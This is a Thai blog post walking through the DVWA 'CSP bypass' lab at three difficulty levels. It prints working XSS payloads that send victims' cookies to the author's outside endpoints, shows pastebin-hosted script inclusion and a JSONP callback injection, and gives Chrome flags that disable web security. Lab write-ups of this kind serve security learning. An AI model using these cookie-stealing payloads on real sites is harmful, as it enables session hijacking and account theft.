HomeArtTechHackBlockchain

Content Security Policy By Pass

By Khomkrid Lerdprasert
Published in Hack101
September 04, 2020
2 min read
Content Security Policy By Pass

Content Security Policy By Pass

Content Security Policy หรือ CSP เป็นการป้องกันการโจมตีแบบ XSS และ Injection โดยเจ้า Server จะต้องประกาศว่า website ของเรา แต่ละหน้าที่ browser ร้องขอมานั้น จะประกอบด้วย Script จากที่ไหนได้บ้าง Internal หรือ External

โดยหาไม่ได้ทำการประกาศ CSP ไว้ Script ที่มาจากแหล่งอื่นที่ไม่ได้ทำการประกาศ จะไม่ถูก execute ผ่านทาง Browser

จากบทความที่แล้ว ผมได้ทำการ Set Header ให้กับ Gatsbyjs บน Firebase Hosting จะเห็นว่า Content-Security-Policy ดังรูปข้างล่าง ผมได้ทำการร้องขอให้เรียกใช้ google font จาก font-src ‘self’ fonts.gstatic.com

Content Security Policy By Pass
Content Security Policy By Pass

ด้วยการตั้งค่า Header ว่า

Content-Security-Policy: font-src 'self' fonts.gstatic.com

ต่อไป เราจะมาทดสอบวิธีการทำ by pass CSP กันดูจาก lab DVWA Web Application เรื่อง Content Security Policy By Pass ดูครับ

Content Security Policy By Pass
Content Security Policy By Pass

จากรูป พบว่าระบบจะให้เราสามารถ include scripts from external sources ได้

ดังนั้นเราจะลองสร้าง web server ขึ้นมาบน local เราอีกตัวนึงจาก docker hub เอาแบบง่ายๆเลย แล้วเราจะเอา file javascript ใส่ไว้ใน server

หลังจากนั้นเราจะ run ngrok เพื่อทำให้ link เราเป็น external แล้วลอง include scripts เราลงไปว่า server จะยอมให้ script เรา run หรือไม่ครับ

  1. มาสร้าง server กันก่อน
docker pull httpd

แล้วสร้าง folder เพื่อเอาไว้เก็บไฟล์ของเราบน local แล้ว map ไปใน container ตามคำสั่งด้านล่างที่ port 8080 ครับ

mkdir server
cd server
docker run -dit --name httpd8080 -p 8080:80 -v "$PWD":/usr/local/apache2/htdocs/ httpd

เสร็จแล้วเราลองดู source code ที่ programmer เขียนไว้บน DVWA

<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

จะพบว่า header csp จะ allows js from self, pastebin.com, jquery and google analytics เท่านั้น

ขั้นต่อไปเราจะลองสร้าง file javascript ไว้บน httpd8080 ที่เราสร้างไว้บน docker ตะกี้ ชื่อไฟล์ว่า csp.js

const runner = () => {
alert(1);
}
runner();

หลังจากนั้นผมจะใช้ ngrok run http 8080

ngrok http 8080
Web Interface http://127.0.0.1:4040
Forwarding http://1c98789c7b56.ngrok.io -> http://localhost:8080
Forwarding https://1c98789c7b56.ngrok.io -> http://localhost:8080

ผมจะสามารถเรียกใช้ file javascript ผมจาก web site external ได้เรียบร้อยแล้ว http://1c98789c7b56.ngrok.io/csp.js

หลังจากที่ผม ได้ external link มาแล้ว นำลงมากรอกที่ include box ดู เพื่อเช็คว่า browser จะทำงานอย่างไร

Content Security Policy By Pass
Content Security Policy By Pass

หลังจากที่ server มีการ ทำ header Content Security Policy ไว้ว่าให้ allows js from self, pastebin.com, jquery and google analytics เท่านั้น เมื่อเราเปิดดูที่ Inspect ของ Browser จะพบว่า ตัว script http://1c98789c7b56.ngrok.io/csp.js ของเรา โดน block เรียบร้อย

Content Security Policy By Pass
Content Security Policy By Pass

และ browser จะแสดงข้อความ error ใน console ว่า server ไม่ได้อนุญาตให้ไฟล์ csp.js ที่มาจาก url ที่ไม่ได้ระบุไว้นะ ตัว script จึงไม่ได้ทำงาน

Refused to load the script 'http://1c98789c7b56.ngrok.io/csp.js' because it violates the following Content Security Policy directive: "script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback.

ถ้าอย่างนั้นเราจะลองดึง file javascript จาก website ที่ CSP allows ไว้ นั่นก็คือ pastebin.com

Content Security Policy By Pass
Content Security Policy By Pass

ซึ่งผมจะใส่คำสั่ง

alert('aofiee.dev');

ลงไปและทำการบันทึก ผมก็จะได้ raw url กลับมา โดยเนื้อหาข้างในจะบรรจุ code alert ตะกี้ไว้

https://pastebin.com/raw/g5zafaZz

เมื่อนำไปกรอกผ่าน web application ที่เราเทสเมื่อสักครู่แล้วกด include

Content Security Policy By Pass
Content Security Policy By Pass

จะพบว่า เจ้า Chrome version 85.0.418383 ที่ผมใช้งาน ไม่ได้อนุญาตให้ไฟล์ที่เราเรียกผ่าน url นั้นทำงาน และแจ้งกลับมาว่า

Cross-Origin Read Blocking (CORB) blocked cross-origin response https://pastebin.com/raw/R570EE00 with MIME type text/plain. See https://www.chromestatus.com/feature/5629709824032768 for more details.

นั่นก็คือ Browser version นี้ ได้ทำการปิดจุดอ่อนในการเรียก Cross-Origin Read Blocking ไปแล้ว ไม่อนุญาติให้เรียก MIME type text/plain ขึ้นมาทำงาน ต่อให้เราจะไปปิด ด้วย commndline

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --user-data-dir=/tmp/temporary-chrome-profile-dir --disable-web-security --disable-site-isolation-trials

มันก็ไม่ทำงาน

งั้นเดี๋ยวเราจะไป download firefox version เก่ามาเทสดูกัน

โดยไปเลือก version เก่าๆที่เราต้องการนำมาทดสอบได้จากที่นี่ https://ftp.mozilla.org/pub/firefox/releases/

โดยผมเลือกใช้ version 49.02 เพราะเท่าที่อ่านดูใน version นี้ browser ยังไม่มีการแก้ไขช่องโหว่นี้

เมื่อทดสอบจาก link เดิมอีกครั้ง คราวนี้ได้ result ที่แตกต่างออกไป

Content Security Policy By Pass
Content Security Policy By Pass

จะเห็นว่า ถ้า CSP เรา allows site ไว้ และ site นั้น โดน attacker โจมตี เราก็จะโดนไปด้วยได้

ถ้าเราเอา code จาก บทความเรื่อง XSS Stored มาฝังไว้บน pastebin

Content Security Policy By Pass
Content Security Policy By Pass

cookie ของเป้าหมายก็จะถูกส่งกลับมาหาเราทาง line notify เช่นเคย

เราจะมาดู level medium กันบ้าง

จาก code ที่ programmer เขียนไว้ในส่วนของ header

<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>

พบว่าระบบจะให้ run เฉพาะ code ที่มาจาก self เท่านั้น ไม่มีจาก ภายนอกเลย และรองรับการเขียน script แบบ inline ที่มีค่า nonce = TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=

ซึ่งถ้าผมลองใส่ว่า

<a href="#" onclick="const url=`https://aofiee.dev/functions/xssFunction?cookie=`;document.location=`${url}${document.cookie}`;" nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">download</a>

ลงไป ระบบก็จะแสดง download ออกมาให้เรา click และ ขโมย cookie

Content Security Policy By Pass
Content Security Policy By Pass

ถึงแม้จะไม่ใช่ script src แต่จะเห็นว่า tag a href สามารถใส่เข้าไปได้ แต่ไม่สามารถกดออกไปข้างนอกได้ เพราะผิด Policy ที่ตั้งไว้

Content Security Policy By Pass
Content Security Policy By Pass

เราจะลองใส่ เป็น tag image ลงไป ก็ไม่ผ่านเหมือนเดิม เพราะอะไร?

<img src=1 onerror="const url=`https://us-central1-aofiee-developer.cloudfunctions.net/xssStealByImageFunction/?cookie=`; this.src = `${url}${document.cookie}`" nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="/>

เพราะ Content Security Policy เรามันยอมให้แต่ script src นั่นเองครับ งั้นเราลองใส่เป็น script ดูตามนี้

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">document.write("<div id=hackme></div>");var url=`https://us-central1-aofiee-developer.cloudfunctions.net/xssStealByImageFunction/?cookie=${document.cookie}`,img=document.createElement("img");img.src=url,document.getElementById("hackme").appendChild(img);</script>

ผลก็คือ ใช้งานได้ครับ

Content Security Policy By Pass
Content Security Policy By Pass

ซึ่งการ bypass แบบนี้ ผ่านทั้ง 2 browser ที่ทดสอบเลยทีเดียว ทั้ง Chrome version ปัจจุบันของผม และ firefox อันเก่าที่โหลดมาเทส

Content Security Policy By Pass
Content Security Policy By Pass

ไปต่อที่ level high กันบ้าง กับ header แบบนี้ ที่รับแต่ script src จากตัวมันเองเท่านั้น

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';

Content Security Policy By Pass
Content Security Policy By Pass

โดยเมื่อกดปุ่ม Solve the sum ระบบจะไป call http://localhost/vulnerabilities/csp/source/jsonp.php?callback=solveSum

Content Security Policy By Pass
Content Security Policy By Pass

ซึ่ง Params callback จะไปเรียก source/high.js อีกทอดนึง โดยในไฟล์จะเป็น code แบบนี้

function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

งั้นเราจะลองส่ง code ของเราเข้าไปทาง callback โดยใช้ Burp Suite

Content Security Policy By Pass
Content Security Policy By Pass

แก้จาก callback=solveSum เป็น callback=alert(‘aofiee’)

Content Security Policy By Pass
Content Security Policy By Pass

เมื่อกด forward bypass ค่าไปจะได้ผลลัพธ์ออกมาแบบนี้

Content Security Policy By Pass
Content Security Policy By Pass

จะเห็นว่า CSP ที่เราตั้งไว้ ยอมรับ code ที่ attacker bypass เข้าไป เพราะว่าเป็น same site นั่นเองครับ

จากตัวอย่างที่ทดสอบมาทั้ง 3 อันจะเห็นว่าการที่เราตั้ง Content Security Policy ให้กับ Web Application ของเราอย่างละเอียด รู้ที่มาที่ไปของ 3rd party ที่นำมาใช้งาน ว่ามีการใช้ script จาก cdn ที่ไหนบ้าง นั่นจะทำให้ Web Application ของเราปลอดภัยจากผู้ไม่หวังดีมากขึ้นไปด้วย ซึ่ง CSP เต็มๆสามารถไปอ่านต่อได้ที่

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

เมื่อตั้งค่า header เรียบร้อยหมดแล้ว สามารถตรวจสอบความปลอดภัยของ header เราได้ที่ https://securityheaders.com/

ขอให้สนุกกับการทดลอง hack นะครับ

เนื่องจากผู้เขียน ไม่ใช่มืออาชีพทางด้านนี้ หากผิดพลาดประการใด ก็แนะนำเข้ามาได้นะครับ


Tags

#sercurity#Content Security Policy

Share

Previous Article
Security Header
Khomkrid Lerdprasert

Khomkrid Lerdprasert

Full Stack Life

Related Posts

Security Header
September 03, 2020
1 min
© 2024, All Rights Reserved.
Powered By

Quick Links

Author

Social Media